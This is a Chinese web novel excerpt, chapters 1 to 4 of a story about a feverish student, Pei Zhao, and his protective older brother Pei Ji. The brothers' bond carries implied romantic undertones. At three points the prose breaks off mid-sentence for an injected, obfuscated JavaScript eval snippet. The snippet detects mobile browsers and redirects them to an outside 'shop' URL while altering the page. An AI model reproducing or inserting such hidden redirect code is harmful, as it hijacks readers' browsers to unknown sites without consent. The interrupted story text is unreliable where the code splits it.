《并蒂枯枝》 1. 第 1 章 夏日炎炎,蝉鸣聒噪扰人心。 裴昭走在树荫底下,光从树叶的缝隙里漏下来,他整个人恹恹的,步子发飘,每一步都走得心不在焉。 林启青走在他旁边,正低头刷着手机,随口说了句什么,没听见回应,便偏头去看。这一看,差点把手机甩出去。 林启青大喊:“昭,你脸怎么这么红?” 少年闻声慢悠悠地转过脸来。他肤色本就白得过分,此刻两颊却烧着两团不正常的绯红,像被人拿胭脂狠狠揉过。 睫毛上不知什么时候挂了几点晶亮的水光,大约是出汗的缘故,细密的汗珠缀在眼睫、鼻尖,被树缝里漏下的光一照,衬得那双眸子愈发水光潋滟,像是含着半汪将落未落的泪。 林启青见过这张脸无数次了,从小学起就是同桌,一路到高中再到大学,裴昭这张脸他闭着眼都能画出来。 可饶是如此,每次这么近距离地看,他还是会在心里狠狠感叹一句,这小子实在漂亮得过分。不过眼下显然不是纠结这个的时候。 裴昭还没反应过来似的,呆呆地啊了一声,抬手胡乱抹了把脸。他动作粗暴得很,手背从额头蹭到下巴,把那些汗珠抹得乱七八糟,整个人看起来又狼狈又可怜。 “可能是昨天游泳的时候受凉了。”他有气无力地开口,嗓音已经带上了一点沙哑。 林启青脸色登时就变了,他如临大敌,嘴里已经开始念念叨叨:“要死要死,你不舒服怎么不早说?我看你这脸色从早上就不对劲,问你你说没事,现在烧成这样你跟我说受凉?” 他一边说一边手忙脚乱地解锁屏幕:“我打给叔叔阿姨,让他们来接你。” 裴昭喊住他:“别打。” 裴昭蹲了下去,他实在走不动了,蹲下来的时候眼前甚至还黑了一瞬,他闭了闭眼,等那阵眩晕过去,才叹了口气说:“就是不想让我爸妈担心。” 林启青低头看他。一米七几的大男生缩在树荫底下,校服领口松松垮垮地敞着,露出一截白得过分的脖颈。 蹲在那儿手臂环住膝盖,脸埋进去半张,只剩一双湿漉漉的眼睛露在外面,眼尾耷拉着,又乖又可怜。 林启青摊手:“看看,熊孩子来的。生病不说,难受不吭,你以为你是铁打的?” 裴昭没力气跟他拌嘴,眼皮沉,脑子里嗡嗡作响,只想闭上眼睡过去。 他使劲眨了眨眼,喊住快要跳脚的林启青,声音轻下去不少:“林子,你帮我打个电话,叫我哥来接我。” 林启青拨号的手顿住。他低头瞥裴昭一眼,表情古怪:“你真是烧糊涂了吧?你哥不是在国外吗?前几天你不还说他那边项目没结束,年底才回来?” 裴昭可怜巴巴地抱住自己垂下眼,过了好几秒,才轻声开口:“他一星期前就回来了。” 他看看裴昭的表情,又看看通讯录里裴哥那两个字,到底什么都没再问,干脆利落地拨了出去。 电话响了两声就通了,那头传来一个低沉的男声,音色偏冷:“启青?怎么了?” 林启青还没来得及说话,就听见裴昭闷闷地喊了一声:“哥。” “你们在哪儿?原地别动,我过来。” …… 裴昭再醒过来的时候,先闻到的是家里洗衣液的味道,淡淡柑橘清香的甜,是他从小闻到大的味道。 视线还是模糊的,额头上压着什么东西,凉丝丝,换了没多久的样子。 有人正俯身下来。裴昭眨了好几下眼,视线才慢慢聚焦,裴寂正给他换额头上的湿毛巾。 西装革履的男人动作一顿,他大约是直接从公司出来的,深灰色的西装外套还没换,领带倒是松了,松松垮垮地挂在领口。 他垂眼,面色如常地将旧毛巾取下来,重新换了一条叠好的上去。 “还难受吗?” 裴昭这才慢慢转过头去,目光落在裴寂身上。三年不见,裴寂变了许多,举手投足间全是沉稳克制。从前还能在他身上窥见几分青年人的锐利,如今全部沉敛下去,藏进那双颜色偏深的眼睛里。但依然是英俊的,甚至比从前更甚。 裴昭盯着他看了好一会儿,才扁扁嘴,声音发哑:“难受。” 他打小身体就不好,三天两头往医院跑,可毕竟是一米七几的大男生,平日里蹦蹦跳跳的,跟林启青翻墙逃课打篮球,不生病的时候半分看不出病气。 现在不一样了,雪白的小脸半掩在被褥里,两颊的绯红还没退干净,嘴唇却没什么血色。眼尾耷拉着,睫毛上还沾着一点没干的潮意,整个人缩在被子里,看起来又乖又小一个,像是回到了小时候追在裴寂身后喊哥哥等等我的模样。 裴寂垂下眼看他,半晌,叹了口气。他脱了西装外套,衬衫袖口的扣子解开,露出一截手腕,上头有一道很淡的旧疤。 裴昭的目光在那道疤上停了一瞬,又飞快地移开。 床垫陷下去一点,裴寂上了床,还没躺稳,裴昭就顺势靠了过来,脑袋往裴寂怀里一拱,额头抵在他胸口,整个人都塞了进去。 他哥的怀抱好像又宽厚了些。 裴寂的手覆上来,温热的大掌几乎盖住了裴昭整张脸,拇指贴着他太阳穴轻轻按了按。 “发烧怎么不跟爸妈说?” 裴昭没应声,他一想到裴寂这副若无其事,云淡风轻的模样,就又委屈又生气。 他忽然张开嘴,一口咬住了裴寂的脖子。牙齿陷进去的那一瞬间,裴寂的身体绷紧一瞬,随即又松下来,没躲。 裴寂低头看一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532014|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,由着他咬,牙印落在颈侧,大约是用了力的,有点发疼。他另一只手反倒轻轻揉上裴昭的后腰,力道不轻不重,带着安抚的意味。 “昭昭,又不乖了。” 嗓音低低的,尾音微微上扬,不像责备,倒像是纵容。 裴昭拿脚蹬他一下,赌气一样。他松开嘴,把脸埋进裴寂胸前,闷闷地开口:“又不是什么大病,不想让爸妈担心。” 裴寂就不说话了。 裴昭从小爱黏着裴寂,他记事早,很小的时候就有印象了。那时候裴寂也不过七八岁的年纪,放学回家,书包还没放下,腿上就多了个摇摇晃晃追过来的小尾巴。 裴昭那时候话还说不利索,只会张开手喊哥哥抱,仰着一张白嫩嫩的小脸,眼睛亮晶晶的。 但裴寂不抱他,不止不抱,他甚至会往后退一步。小孩子是最敏感的,裴昭很快就察觉到了哥哥的不喜欢。 裴寂的不喜欢不是厌恶,而是一种更复杂的东西。后来裴昭才慢慢明白,是因为爸妈偏心。 裴昭是早产儿,生下来就进了保温箱,后来虽然平安长大,父母心里却总觉得亏欠,不知怎么就演变成了一种补偿式的偏爱,全部倾注到了裴昭身上。 而对裴寂,他们反倒疏忽了许多。所以小时候的裴寂不喜欢这个脆弱的弟弟,大约也是可以理解的。 直到一次意外……裴昭不太愿意回想那次意外,他只记得自己醒来的时候躺在医院里,手背上扎着针,裴寂坐在床边,眼眶红得像要滴血。 从那之后,裴寂像变了一个人,对裴昭百依百顺,宠得毫无底线。可就是这样一个人,三年前忽然说要出国,理由是拓展海外业务。 裴昭面上笑着,心里却清楚得很,裴寂在躲他。至于为什么要躲他,裴昭其实到现在也没完全想明白。 他只是隐隐约约觉得,有些东西在两个人之间悄悄变了质,但他不敢伸手去碰。 裴昭在裴寂怀里动了动,换了个更舒服的姿势,他熟悉这个怀抱的温度和气息,像是刻进骨血里的本能。 发了烧的身体本就昏沉,安静没几分钟,眼皮就再也撑不住了。他迷迷糊糊地喊了一声哥,尾音软下去,含混地化在喉咙里,然后便沉沉睡了过去。 裴寂没有马上动,他维持着那个姿势,等了一会。直到怀里的人呼吸终于平稳下来,裴寂这才低下头。 高挺的鼻尖轻轻抵上裴昭烧得发红的脸颊,距离近到能闻见他身上药味底下淡淡的甜。 裴寂闭眼,深深吸一口气,喉结滚动一下。 房间里安静得只剩下两个人的呼吸声。 过了很久,才有一个低哑到几乎听不清的声音响起来,像是从胸腔深处一点一点碾出来的。 “昭昭。” 2. 第 2 章 裴昭这一觉睡得沉,他隐约知道自己被喂了药,被轻轻叫醒过一回量体温。 每次迷迷糊糊地睁眼,都能看见裴寂坐在床边的轮廓,有时候在看手机,有时候就只是坐着,侧脸在昏暗中显得格外沉静。 裴昭就又放心地睡过去,好像只要知道裴寂在,天塌下来都不关他的事。 他做了个乱七八糟的梦,小裴昭端着碗银耳汤追上去,踮着脚举到他哥面前,说妈妈让哥喝的。 裴寂没接,低头看他一眼,眼神淡淡的,说了句放着吧,就关上门。裴昭端着碗站在门外,要哭不哭的,然后委屈巴巴地自己喝了。 梦里的画面忽然一换,变成了医院的天花板,空气里全是消毒水的味道,有人握着他的手在发抖。 他听见裴寂的声音从很远的地方传来:“昭昭,对不起。” 裴昭在梦里想转头去看他哥的表情,但脖子像被什么压住了,动不了。他想说哥我没怪过你,嘴巴也张不开。 然后就醒了,窗帘不知道什么时候被拉上,只留下窄窄一道缝,透进来一线橘红色的光。 大约是傍晚,或者是另一个清晨,他已经失去对时间的判断力。 身上黏糊糊的,发了一身汗,但整个人轻快了不少。裴昭翻个身,伸手往旁边摸了摸,被窝另一边已经凉了,但枕头上有凹陷的痕迹,证明昨晚确实有人躺在那里。 裴昭把脸埋进那个枕头里,深深吸一口气,是裴寂身上很淡的松木香,混着一点洗衣液残留的柑橘味。 他把枕头抱进怀里,又赖了一会儿,才慢吞吞地坐起来。 房间不是他熟悉的那间,他自己的卧室墙上贴着高中时买的动漫海报,床单是林启青送的那套柴犬图案。 这间房干净得过分,白墙灰色床品,床头柜上放着一盏极简的台灯和半杯已经放凉的水。衣柜是嵌进墙里的,门关得严严实实。 只有床头那部充电器是他自己的,白色的数据线,插头上有他用记号笔画的一个歪歪扭扭的小太阳。 这里是裴寂的住处,准确地说,是裴寂回国后住的公寓。他之前从别人嘴里听说他哥回来,花了三天时间才打听到这个地址,找过来的时候在楼下站了一个多小时,最后也没上去。 不是因为不敢,是赌气。凭什么裴寂想走就走,想回来就回来? 裴昭下床,赤着脚踩在地板上。卧室门虚掩着,推开门是一条短短的走廊,通往客厅。 客厅不大,但收拾得很干净。灰色布艺沙发,茶几上放着一台合起来的笔记本电脑和几份文件,电视柜底下整整齐齐码着几本书。 厨房是开放式的,灶台上架着一口奶白色的珐琅锅,正冒着细细的热气。 裴寂背对着他,站在厨房里。他已经换上一身家居服,浅灰色的长袖T恤,袖子推到小臂中间。正在切什么东西,刀刃落在砧板上的声音均匀而轻快。 裴昭靠在门框上,他看着他哥的背影,肩膀宽阔,腰线收得很窄。裴寂以前就这么高了吗?好像是,又好像不是。 裴寂像是背后长了眼睛:“醒了?” 他没回头,手里的动作也没停,把切好的葱花拢进刀面,转身撒进冒着热气的锅里。 裴昭嗯一声,声音还是有点哑,拖着步子走到沙发边,整个人往上面一倒。 茶几上放着一杯温水和一板拆过的退烧药。 裴昭看了看药,把水端起来喝了一口。温度刚好,不烫不凉,像是算准了他会这个时间醒。 裴昭喊:“哥。” 裴寂关上火,回过头:“去洗脸刷牙,毛巾在洗手台左边的架子上,蓝色那条是你的。” 裴昭眨眨眼。 裴寂经过沙发的时候脚步顿一下,垂眼看了看瘫在沙发上的裴昭,腾出一只手来,用手背贴了贴他的额头。 “退了不少。”裴寂收回手,“还难受吗?” 裴昭本来想说还有点,但抬头看见裴寂眼底淡青色的影子,话到嘴边又咽了回去。 他哥大概昨晚没怎么睡,眼睑下面浮着很浅的疲倦,藏得很好,不过裴昭看得出来。 “不难受了。”他说。 裴寂没戳穿他,只说了句那也把药吃了,就走过去把粥放上餐桌。 裴昭这才慢吞吞地站起来,往浴室走。 浴室里有一条叠得整整齐齐的蓝色毛巾,旁边是同色的漱口杯和一支新牙刷,牙膏是他惯用的那个牌子,草莓味的。 洗手台上还放着一套叠好的衣服,白色的短袖,深蓝色的家居短裤,都是他的尺码。 裴昭低着头,把脸埋进那条新毛巾里,他忽然觉得自己昨天咬的那一口,咬轻了。 洗漱完出来,裴寂已经坐在餐桌边了。两碗白粥,一碟酱黄瓜,一碟凉拌莴笋丝,还有两个煎得金黄的荷包蛋。 裴昭坐下来,先挑了一筷子莴笋丝,脆的带一点点麻油香,咸淡刚好。 他又舀了一勺粥,吹了吹送进嘴里,然后就不说话了,闷头吃。 裴寂也没说话,兄弟俩隔着一张餐桌,一个吃得专心致志,一个吃得很慢,时不时抬眼看看对面。 裴昭吃东西的样子从小到大都没变过。筷子拿得有点偏,夹菜的时候小指会不自觉地翘起来,鼓着腮帮子嚼东西的时候像只仓鼠。 小时候爸妈工作忙,经常是裴寂负责喂他吃饭,小裴昭坐在儿童椅上,张着嘴等哥哥把勺子递过来,吃完了还要伸手去够裴寂碗里的。 那时候裴寂其实是不耐烦的,喂饭喂到一半就想放下碗走人,被妈妈一个眼神瞪回来,又不得不坐回去。 小裴昭不懂哥哥的脸色,只知道哥哥喂的饭就是比妈妈喂的好吃,吃完还要往裴寂怀里钻。 后来那次意外之后,裴寂再也没让任何人喂过裴昭饭。所有事都亲力亲为,从吃饭穿衣到收拾书包,像是一种沉默的补偿。 裴昭吃完一碗粥的时候,裴寂把自己碗里那颗荷包蛋夹到了他碗里:“多吃点。” “哥,”裴昭把荷包蛋咬了一口,蛋黄还是溏心的,流出来染在粥上,“你现在住这里?” 裴寂回应:“嗯。” 裴昭咽下嘴里的食物后提起:“这里离我学校好近。” 裴寂给他倒了杯水水:“嗯。” 裴昭拿筷子戳着碗里的粥,装作不经意地问:“什么时候找的房子啊?” 裴寂放下碗,看着他。 裴昭低下头咬了一口蛋白。 “回国前一个月。”裴寂还是回答了,“托人找的,离你学校近,想着你可能用得上。” 回国前一个月就找好了房子,离他学校近。裴寂甚至都没告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532015|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉他回国的事,却提前一个月准备好了离他很近的住处。裴昭不知道这算什么。 但有些话问得太清楚就没意思了。 吃完饭裴寂去洗碗,裴昭歪在沙发上拿遥控器翻来翻去。电视开了又关,关了又开,最后停在一个重播的老电影频道上。 他其实没在看,脑子里乱七八糟的:“哥,我学校那边……” “帮你请了两天假。”裴寂擦着手从厨房走出来,截住了他的话。 裴昭愣一下:“你怎么请的?” 裴寂把毛巾搭在椅背上,拿起手机看一眼,屏幕的光映在他脸上,表情很淡,“你辅导员我认识。” 他都不知道裴寂什么时候认识了他的辅导员,疑惑:“什么时候……” 裴寂把手机放下,没有多做解释的意思,“你大一入学的时候。” 裴昭盯着他哥看了好一会儿,那时候裴寂还在国外,隔着半个地球,还能腾出手来给他的辅导员打招呼。 …… 接下来的一天过得像流水一样安静。 裴寂收拾完厨房,又接了两个工作电话,站在阳台上压低声音讲了快四十分钟。 裴昭窝在沙发上看他,隔着玻璃门,裴寂的侧脸映在午后的光线里,眉头微微皱着,说话的时候偶尔会抬手比划一下,姿态克制而从容。 等裴寂挂了电话回来,裴昭已经横在沙发上快睡着了。 “困了就进去睡。” 裴昭摇头,朝他伸手:“哥,陪我打游戏。” 裴寂低头看看他伸过来的那只手,又看看他还没完全退烧的脸,到底没拒绝。 两个人就坐在电视机对面的地毯上。 游戏机不知道什么时候也准备好了,甚至连裴昭惯用的那个手柄都插着,红色那只。裴寂拿起黑色的那只,坐在裴昭旁边,背靠着沙发底座。 裴昭自然而然地歪过去,脑袋靠在他哥肩膀上。 “拳王。”他把手柄塞进裴寂手里,“老规矩,输了的人不许耍赖。” 画面亮起来,选人界面弹出。裴昭的手指在手柄上飞快地按着,选了他最擅长的那个角色。裴寂随便选了一个,两个人切入对战。 一开始裴昭还靠着裴寂,打着打着就坐直了。 “看我一击毙命!” 裴昭的手指在手柄上噼里啪啦地按,整个人都在用力,肩膀绷得紧紧的,眼睛盯着屏幕一眨不眨。 他的操作又快又准,角色在屏幕上闪避、突进、连招,几乎没有多余的动作用来浪费。 裴寂玩得就不怎么样了。他操作的方式很稳,但稳得有点慢。裴昭的角色一个连招打过来,他的防御就破了,血条唰唰往下掉。 胜负几乎没什么悬念。 裴昭最后一记绝杀,屏幕上弹出胜利的字样,音效炸开,他整个人也跟着跳起来,手柄差点甩出去。 “赢了!” 裴寂把被他甩飞的手柄接住,放回茶几上。裴昭出了一身薄汗,额发黏在额头上,脸颊又浮起一层浅淡的红,眼睛亮得惊人,完全不像个昨天还在发烧的病人。 裴寂伸手按住他的肩膀:“去换衣服。” 裴昭还没从胜利的兴奋里回过神来,眨眨眼:“啊?” “汗湿了。”裴寂的声音低下来,“等会儿又着凉。” 3. 第 3 章 裴昭想说自己哪有那么娇弱。但裴寂已经站起来,弯腰揽住他的腰,把他从地毯上捞了起来。 一米七几的大男生被这么捞起来,裴昭自己都觉得有点丢人,但裴寂做得顺手得很,好像他还是那个走几步就要抱的小不点。 裴昭顺势搂住他哥的脖子,腿挂在裴寂腰侧,下巴搁在他肩膀上。 裴寂托着他往卧室走,步伐很稳。 裴昭趴在他肩上,忽然开口,声音闷闷的:“哥。” “嗯。” 裴昭语气低落:“我是不是很麻烦,很娇气?” 裴寂的脚步顿一下,只有很短的半秒,然后裴寂继续往前走,声音平淡:“为什么这么想。” “你看嘛,”裴昭掰着手指头数,“动不动就生病,生病就好得慢,吃饭挑食,打游戏出一身汗还要你操心换衣服。从小到大都是你在照顾我。” 又加了一句:“你小时候就不喜欢我。” 裴寂把他放到床上,让他坐好。 裴昭乖乖坐着,仰头看他哥。他的眼睛在不算明亮的光线里显得格外干净,瞳仁是那种很深很深的褐色,像泡在溪水里的石头。 裴寂沉默了好几秒。 “昭昭。”他终于开口,“没有谁一来就是哥哥,我也需要接受的时间。” 裴寂转身去衣柜里拿衣服。 衣柜门打开的瞬间,裴昭看见里面整整齐齐挂着的衣物。裴寂自己的衬衫和西装占了一半空间,另一半挂着几件T恤和外套。 有些甚至是他在家里常穿的款式,一看就是给他准备的,他不知道裴寂什么时候准备的这些。 “小时候不喜欢你,是我的问题,不是你的。你从来都不麻烦。” 衣服被放到裴昭手边,叠得整整齐齐。裴寂直起身,这才垂眼看他,目光落下来的时候,里面有什么东西沉甸甸的,被压得很深。 “别那样想。” 裴昭低下头,手指攥住那件干净T恤的边缘。他本来是想试探一下,看看裴寂会不会敷衍他。 裴昭扁嘴:“我知道,我没有怪哥的意思。” 裴寂说:“换衣服吧。” 裴昭就当着裴寂的面,把身上那件T恤脱了下来。 少年的身体线条还很青涩,锁骨分明,腰很细,皮肤白得像是从没晒过太阳。因为刚出过汗,胸口和肩胛骨的位置泛着一点薄薄的粉。 裴寂转身走出了卧室,动作快得像是被什么烫了一下。 裴昭手里拎着脱下来的衣服,歪头看他哥消失在门外的背影,有点没反应过来。然后他慢吞吞地把干净衣服套上,扯了扯下摆。 裴寂再回来的时候,裴昭已经换好了衣服,坐在床边晃着腿。裴寂的表情和平时没有任何区别,面色如常,走过来把裴昭换下来的衣服收走,扔进浴室的脏衣篓里。 “哥。” 裴寂从浴室出来,就听见裴昭叫他。 “你真的要请假陪我?” 裴寂靠在门框上,双手抱臂:“已经请了。” 裴昭高兴起来,往床上一倒,滚了半圈,把自己卷进被子里:“那我要吃糖醋排骨,你做的。” “好。” “还要喝番茄蛋花汤。” “好。” “晚上我想看那个新上的电影,林子说特别好看。” “先把病养好。” 裴昭从被子里露出半张脸,眼睛弯起来。 裴寂看着他,沉默几秒,然后走过来,弯腰把裴昭卷成一团的被子扯平,重新盖好。他的手在裴昭的额头上停了一下,确认没有重新烧起来,才收回去。 “我最近会比较忙。”裴寂忽然开口,“照顾不好你。” 裴昭的笑容僵一下。 “明天后天请完假,我就送你回爸妈那里去。” 裴昭瞪大眼睛,从被子里坐起来。 “我不要。” “昭昭。” “你忙你的呗,我自己照顾自己。”裴昭的声音拔高了半度,“我都多大了,又不用你二十四小时守着。” 裴寂表情没有变化,但眼神沉下来一点:“听话。” 裴昭咬住下唇,他听见自己心跳砰砰砰的,又急又重。从昨天起就被压下去的委屈忽然翻涌上来,混着说不清道不明的不甘。 裴寂回来不告诉他,住的地方离他这么近,什么都给他准备好了,连牙刷和毛巾都买好,像是随时等着他来。 可他一提住下来,裴寂就要把他送回去,想靠近,又推开,每次都这样。 “裴寂,我讨厌你。” 他很少对裴寂说这种话,从小到大,再怎么赌气,最多也就是不理人,绝不会把讨厌两个字挂在嘴边。 裴寂对他太好,好到他舍不得说任何一句重话。但现在因为实在不知道还能怎么表达那股憋了三年越攒越多的委屈。 裴寂的双手在身侧握紧,像是想说什么,又什么都没说出来。最后他转过身,走出了房间。 步伐很快,快得像在逃。 裴昭坐在床上,愣愣地看着那道门缝。眼泪还没掉下来,又被憋回去了。 “什么嘛。”他对着空荡荡的门口嘟囔了一句,声音又轻又哑。 自己把话说重了?裴昭歪着头想了想,又觉得不至于。 裴寂不是那种会被一句话伤到的人,他哥心理素质好得很,从前被他怎么闹都没生过气。 裴昭想不明白,也不想再想了。吃了药的缘故,困意又涌上来,脑子变得黏糊糊的。他重新倒回床上,摸出手机翻了两下,屏幕上的字都看不进去,眼皮沉得很。 林启青给他发了十几条消息,最新一条是:“你哥照顾你?那尊大佛会照顾人?你别骗我。” 裴昭盯着那条消息看了几秒,想回点什么,手指却不听使唤。手机从手里滑落,屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532016|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕暗下去,裴昭睡着了。 他不知道的是,在他睡着之后没多久,卧室门被轻轻推开。 裴寂走进来,低头看着裴昭蜷缩成一团的睡姿,被子被踢开了一半,手机压在脸下面,睫毛上还沾着一点没干的潮意。 裴寂弯下腰先把手机从裴昭脸下面抽出来,放到床头柜上充上电。然后拉起被子,仔仔细细地替他盖好,被角掖进肩膀和下巴之间。 他直起身,没有马上走。裴昭睡得很熟,呼吸均匀,眉头微微皱着,像是在梦里也不怎么安生。 裴寂伸出手,指背极轻地碰了碰裴昭发红的眼尾,收回手后退一步,在床边的椅子上坐了下来。 客厅里的笔记本电脑还亮着,屏幕上跳动着未读邮件的提示。 裴寂都没有去管,他就坐在那里,看着床上缩成一团睡得毫无防备的人。 直到夜色漫进来。 …… 裴昭的脾气,说大不大,说小也不小。 小时候他生气的方式是蹲在墙角,把自己缩成一团蘑菇,谁来都不理。后来长大一点,学会冷战了,不哭不闹,就是不看人,不说话,软钉子扎得人毫无办法。 但对裴寂,他这套向来不管用,因为裴寂比他能忍。 裴昭不说话,裴寂就不开口。裴昭不看他,裴寂就把目光落到别处。 好像裴昭所有的情绪砸过去,都砸进了一团棉花里。 这让裴昭更加恼火,第二天晚上他破天荒地没有往裴寂怀里钻。 被子只有一床,裴昭赌气把大半都卷到自己这边,留给裴寂一个被角和半个后背。裴寂也没有来扯,就那么平躺着,双手交叠放在腹部,姿势端正得很。 裴昭睁着眼睛越想越气,他翻了个身,背对裴寂,过了一会儿,又翻回来。 床垫被他折腾得一直晃动,裴寂依然纹丝不动。 “哥。”裴昭终于忍不住了。 “嗯。” 裴昭瞪他:“你没什么要说的吗?” 沉默几秒。裴寂的声音低沉平稳:“早点睡。” 裴昭气得一脚蹬开被子,整个人往床边挪了半尺,几乎要悬空。 身后传来很轻的叹息声。 接着是裴寂起身的动静,被子被重新拉上来,盖住裴昭露在外面的肩膀,裴寂的手指无意间擦过他的后颈,停留不到半秒,就收回去了。 “别着凉。” 裴昭死死闭着眼睛,睫毛却在颤。 他想起小时候发烧,裴寂也是这样半夜起来给他盖被子。那时候他还很小,烧得迷迷糊糊,只知道有一只手反复地贴他的额头,有一点凉,很舒服。 他抓住那只手不肯放,就听见裴寂说哥在睡吧。 他忽然就不气了,于是他把被子重新卷走,卷成一个严严实实的蚕蛹,连被角都没给裴寂留。 裴寂大概是无声地笑一下,裴寂重新和衣躺下。 4. 第 4 章 第二天早上裴昭醒来的时候,发现自己不知什么时候滚回了床中间,被子好好地盖在身上。 厨房里传来煎蛋的声响。 裴昭坐在床上,头发翘得乱七八糟,盯着身边空出来的枕头看了一会儿。 他伸手把那个枕头拽过来,抱进怀里。 然后下了床,吃早饭的时候两个人都没提昨晚的事。裴寂照常把荷包蛋夹到他碗里,裴昭照常吃了。 收拾完碗筷,裴寂从玄关柜子里拿出裴昭的背包,拉链拉开检查了一下里面的东西,钱包、钥匙、校园卡、充电宝…… 裴昭靠在门框上看他,这个画面很熟悉。 从小到大,每次他出门之前,裴寂都会这样替他检查一遍。小时候是检查书包,水壶带了没有,作业本装好了没有,铅笔削了没有。 后来是检查行李箱,换洗衣服够不够,常用药带了没有,充电线有没有落下。 裴昭有一次问林启青:“你哥会帮你收拾东西吗?” 林启青用一种你疯了吗的眼神看他:“我哥不把我东西扔出去就不错了。” 裴昭就没再问了。 “走吧。”裴寂拉上背包拉链,站起来。 裴昭站着没动:“我今天不想回去。” “昭昭。” “明天,明天我自己回去行不行?”裴昭声音软下来一点,“反正明天周末,我保证回去。” 裴寂盯着他,裴昭最怕他这种目光。不凶不冷,甚至算得上温和,但底下有让他无法讨价还价的沉稳。 裴寂做事从来不会把话说死,但他一旦做了决定,就没有人能让他改。 “你答应了爸妈今天回去。”裴寂说。 “我没答应。”裴昭撇嘴,“是你答应的。” 裴寂没再接话,他穿上外套,拿起车钥匙,然后把裴昭的背包拎在手里,往门口走了一步,侧身等他。 姿态很明确了。 裴昭深吸一口气,好!行! 他大步走过去,从裴寂手里抢过自己的背包,率先拉开门走了出去。脚步踩得很重,每一步都带着情绪,下楼梯的时候差点绊一下,裴寂从后面伸手扶住他的胳膊。 车停在家门口的时候,白锦已经在门口等着了。 她看见车裴昭,眼睛先弯起来,嘴上却开始念叨:“明明学校离家也不远,住家里多方便,你偏要住校。” 裴昭迅速回头看裴寂一眼。 裴寂面色如常,好像什么都没听见。 他没告诉妈自己生病的事。 裴昭转过身,脸上挂起一个笑,朝白锦走过去。 “妈,那可是早上八点半。”他拖长声音,“住家里那早上得起多早啊,六点就得爬起来,还不如多睡几分钟。” 白锦说:“就你歪理多。你哥当年上学的时候六点起,也没见他喊过累。” “我哥是我哥,我是我嘛。” 裴昭凑过去,推着她往屋里走,“煮什么了好香,我饿了。” 白锦被他推着走两步,又回过头来,上上下下打量他一圈。从头发梢扫到脚尖,确认气色也还算正常,这才放下心来。 这时候她才像是刚看见跟在后面进门的裴寂似的,目光越过裴昭,落在大儿子身上。 “小寂也回来了?” 裴寂点了点头:“妈。” 白锦把裴昭拉到一边,压低声音:“你哥工作忙,别去打扰你哥。” 她说得很轻,但裴寂站得不远,应该是听见了。 裴昭往裴寂那边瞥一眼。他哥的表情没有任何变化,正弯腰把车钥匙放在玄关的托盘里。 裴昭忽然有点不舒服,他嘟囔一声:“就打扰。” 白锦拍他一下:“这孩子。” 白锦指挥裴昭去沙发上坐着,然后转向裴寂,声音放轻一些:“昭昭这两晚都在你那里?” 裴寂说是。 “他有没有给你添麻烦?昭昭生病了也不跟家里说,要不是你打电话回来。”白锦叹了口气,“一个两个都报喜不报忧。” 裴寂的目光动一下:“没事,妈。放心吧。” 她就指指客厅的沙发:“坐一会儿吧,我让阿姨做了你和昭昭爱吃的。” 裴寂看过去,裴昭抱着一个靠枕,脸扭向一边,浑身上下都写着我还在生气五个大字。 裴寂答应下来,在空出来的那个位置坐下。 裴昭把脸扭得更偏了一点,但也没有挪开。 白锦在厨房门口站了一会儿,看着沙发上一左一右坐着的两个儿子,转身进去了。 客厅里安静下来,电视开着,声音调得很低,正在播一个家装改造节目。 白锦从厨房探出头来,一边擦手一边问裴昭学校的事。 “最近课多不多?” 裴昭回:“还行。” 白锦事无巨细:“食堂吃得惯吗?” 裴昭砸吧嘴:“就那样。” 白锦衣食住行都要问一遍:“宿舍冷不冷?要不要我从家里给你拿床被子过去?” 裴昭无奈:“妈,现在还是夏天。” 白锦哦一声,又问:“有没有出去玩?” 裴昭张口就来:“没有,我去图书馆……” “咳。”裴寂咳嗽一声。 裴昭的声音戛然而止。 他忽然意识到自己差点说漏了什么,上周他根本没去图书馆,他和林启青去游泳了,就是因为游泳,他才受凉发的烧。 白锦疑惑地看着他:“都在图书馆怎么了?” “……都在图书馆看书。”裴昭把话硬生生拐回来,有一点心虚,“快期中考了嘛。” 白锦没有怀疑,她点点头,又开始念叨看书也要注意休息,别把眼睛熬坏了之类的话,然后又转身进了厨房。 裴昭松了一口气,低头一看,自己面前的茶几上多了一杯水。 裴寂的手刚收回去,修长的手指从杯沿上移开,放回自己膝上。 裴昭端起杯子喝了一口,他把杯子握在手里,没有放下。 白锦端着一盘切好的水果从厨房出来,目光在兄弟俩之间转一圈,没看出什么异常。她把果盘放在茶几上,自己也在旁边的单人沙发上坐下来。 问完小儿子开始问大儿子:“小寂,你那边公司的事还顺利吗?” 裴寂言简意赅:“还好。” 白锦细细看了一会:“有没有按时吃饭?我看你又瘦了。” 裴寂只说:“有。” 